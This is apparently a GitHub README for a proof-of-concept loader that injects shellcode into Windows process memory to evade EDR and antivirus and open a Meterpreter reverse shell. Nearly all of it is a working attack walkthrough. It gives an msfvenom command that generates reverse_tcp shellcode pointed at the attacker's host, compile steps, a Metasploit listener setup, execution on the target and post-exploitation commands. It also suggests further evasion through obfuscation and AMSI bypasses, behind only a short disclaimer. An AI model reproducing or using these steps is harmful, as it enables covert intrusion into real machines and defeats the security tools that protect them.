This repository contains a proof-of-concept (PoC) for bypassing EDR and antivirus solutions using a memory injection technique. The code executes shellcode that spawns a reverse shell, successfully evading detection by various security mechanisms.
This project demonstrates how to bypass EDR and antivirus protection using Windows API functions such as VirtualAlloc, CreateThread, and WaitForSingleObject. The payload is injected directly into the process memory without being detected by security tools, establishing a connection to a remote system for a reverse shell.
Disclaimer: This code is for educational purposes only. Use it responsibly and only in environments where you have explicit permission to test.
- Bypasses standard EDR and antivirus solutions
- Executes shellcode in memory to create a reverse shell
- Utilizes
VirtualAllocandCreateThreadto inject the payload directly into process memory
- Windows Operating System (Tested on Windows 11 Pro)
- Kali Linux (For reverse shell listener)
- Visual Studio or any C# compiler
https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access.git
cd EDR-Antivirus-Bypass-Shell-AccessBefore compiling, ensure that you modify the shellcode to point to your own IP address and port for the reverse shell. You can generate shellcode using msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f csharpReplace the byte[] buf section in Program.cs with the shellcode you just generated.
Open the project in Visual Studio, or use the following command to compile the code using the .NET SDK:
csc loader.cs**Alternatively, you can compile in Release mode for better optimization:
csc -optimize loader.csOn your Kali Linux machine, start a listener to catch the reverse shell. Use the following commands in Metasploit:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <YOUR_PORT>
runTransfer the compiled .exe file to the Windows machine. You can execute the file manually or use any other method to run the file:
loader.exe- Obtain the Shell
Once the payload is executed on the target machine, you should see a reverse shell session open in your Metasploit console. From there, you can interact with the system:
meterpreter > sysinfo
meterpreter > shell- Additional Bypass Techniques
To avoid detection by advanced EDR solutions, consider using techniques like process injection, obfuscation, or AMSI bypasses. This PoC can be extended with these methods for more robust evasion.
This POC bypasses all current AV and EDR solutions.
I will soon share with you the codes I have developed with more advanced methods.
